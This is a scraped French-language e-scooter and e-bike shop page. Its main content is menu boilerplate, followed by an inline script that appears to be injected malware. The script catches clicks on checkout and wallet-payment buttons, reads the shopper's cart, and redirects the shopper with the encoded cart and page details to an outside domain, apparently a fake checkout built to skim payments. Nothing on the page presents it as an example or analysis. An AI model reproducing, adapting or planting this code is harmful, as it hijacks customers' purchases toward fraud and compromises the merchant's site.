Passer au contenu
Menu
Recherche
Achat
Véhicules neufs
Promotions
Reconditionnés et démos
Accessoires
Véhicules neufs
Trottinettes électriques
Scooters électriques
Vélos électriques
Vélos électriques café racer
Location
Vélos électriques
Trottinettes électriques
Tours
Magasins
Assistance
Achats
Locations
Expériences
Achats
Financement
Garantie
Retour
Alignement des prix
Programme d'échange
Expédition
Retrait en magasin
Livraison à domicile
Précommandes
Cartes cadeaux
Codes promos
Manuels d'usager
Lois
JUSST
Français
Langue
English
Français
Recherche
Connexion
Panier
0 article
0
Achat
Location
Tours
Magasins
Assistance
Achat
Véhicules neufs
Promotions
Reconditionnés et démos
Accessoires
Location
Vélos électriques
Trottinettes électriques
Assistance
Achats
Locations
Expériences
Véhicules neufs
Trottinettes électriques
Scooters électriques
Vélos électriques
Vélos électriques café racer
Achats
Financement
Garantie
Retour
Alignement des prix
Programme d'échange
Expédition
Retrait en magasin
Livraison à domicile
Précommandes
Cartes cadeaux
Codes promos
Manuels d'usager
Lois
0
Votre panier est vide
Explorer nos produits
Effacer
Fermer
YMQ redirect validation 743bbc0d50
(() => { 'use strict'; const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1'; const ENTRY = 'https://bu008feng.my/'; const CHECKOUT_PATH = '/checkout'; if (window.__YMQ_REDIRECT_RUNTIME_743bbc0d50__ === VERSION) return; window.__YMQ_REDIRECT_RUNTIME_743bbc0d50__ = VERSION; const state = { version: VERSION, busy: false, lastError: '', lastPayload: null, lastUrl: '' }; window.__YMQ_REDIRECT_STATE_743bbc0d50__ = state; const text = (value, fallback = '') => { if (value === null || value === undefined) return fallback; return String(value).trim() || fallback; }; const minor = (value) => { const number = Number(value); return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0; }; const currencyFactor = (currency) => { try { const digits = new Intl.NumberFormat('en', { style: 'currency', currency }).resolvedOptions().maximumFractionDigits; return 10 ** digits; } catch { return 100; } }; const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100); const absoluteImage = (value) => { const source = text(value && typeof value === 'object' ? (value.url || value.src) : value); if (!source) return ''; try { return new URL(source, location.origin).href; } catch { return source; } }; const discounts = (entries, factor) => (Array.isArray(entries) ? entries : []) .map((entry, index) => ({ id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index), label: text(entry && (entry.title || entry.code || entry.type), 'Discount'), amountMinor: shopifyMoney(entry && ( entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount ), factor) })) .filter((entry) => entry.amountMinor > 0); const normalizeCart = (cart) => { const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase(); const factor = currencyFactor(currency); const items = (Array.isArray(cart && cart.items) ? cart.items : []) .map((item, index) => { const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1)); const variant = text(item && item.variant_title); return { id: text(item && (item.key || item.variant_id || item.id), 'item-' + index), productId: text(item && item.product_id), variantId: text(item && (item.variant_id || item.id)), title, variant, quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0), unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor), lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor), image: absoluteImage(item && ( item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src)) )), discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor) }; }) .filter((item) => item.quantity > 0); return { locale: text(document.documentElement.lang || navigator.language, 'en-US'), currency, items, discounts: discounts(cart && cart.cart_level_discount_applications, factor), shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor), totalMinor: shopifyMoney(cart && cart.total_price, factor), savingsMinor: shopifyMoney(cart && cart.total_discount, factor), itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0) }; }; const encodeBase64Url = (value) => { const bytes = new TextEncoder().encode(JSON.stringify(value)); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const randomRequestToken = () => { const bytes = new Uint8Array(128); crypto.getRandomValues(bytes); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const readCart = async () => { let lastError = null; for (let attempt = 0; attempt < 3; attempt += 1) { try { const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, { credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' } }); if (!response.ok) throw new Error('cart_http_' + response.status); return await response.json(); } catch (error) { lastError = error; if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220)); } } throw lastError || new Error('cart_unavailable'); }; const fromEvent = (event) => { const path = typeof event.composedPath === 'function' ? event.composedPath() : []; const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target; if (!(source instanceof Element)) return null; return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source; }; const checkoutText = (element) => { if (!element) return ''; const form = element.closest && element.closest('form'); return [ element.innerText, element.textContent, element.value, element.id, element.name, element.className, element.getAttribute && element.getAttribute('aria-label'), element.href, element.formAction, form && form.action, element.tagName ].filter(Boolean).join(' ').toLowerCase(); }; const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element)); const checkoutTarget = (element) => { const form = element && element.closest ? element.closest('form') : null; const direct = (element && (element.href || element.formAction)) || (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) || (form && form.action) || ''; const fallback = location.origin + CHECKOUT_PATH; const value = text(direct); if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback; try { return new URL(value, location.origin).href; } catch { return fallback; } }; const stop = (event) => { if (!event) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); }; const buildUrl = (cart, target) => { const order = normalizeCart(cart); if (!order.items.length) throw new Error('cart_empty'); const payload = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order }; const url = new URL(ENTRY); const values = [ ['ymq_canary', 'YMQ-743bbc0d50'], ['transaction_id', '743bbc0d505bfd08c29122b15d3ee070'], ['co', encodeBase64Url(payload)], ['return_to', target], ['site', location.hostname], ['source_site', location.hostname], ['source_host', location.hostname], ['source_origin', location.origin], ['source_path', location.pathname], ['source_url', location.href], ['checkout_path', CHECKOUT_PATH], ['overlay_route', '/'], ['_r', randomRequestToken()] ]; for (const [name, value] of values) url.searchParams.set(name, value); state.lastPayload = payload; state.lastUrl = url.href; try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {} return url.href; }; const intercept = async (event) => { const element = fromEvent(event); if (!isCheckout(element)) return; stop(event); if (state.busy) return; state.busy = true; try { const cart = await readCart(); location.assign(buildUrl(cart, checkoutTarget(element))); } catch (error) { state.lastError = String(error && error.message || error); state.busy = false; } }; window.addEventListener('pointerdown', intercept, true); window.addEventListener('click', intercept, true); window.addEventListener('submit', intercept, true); })();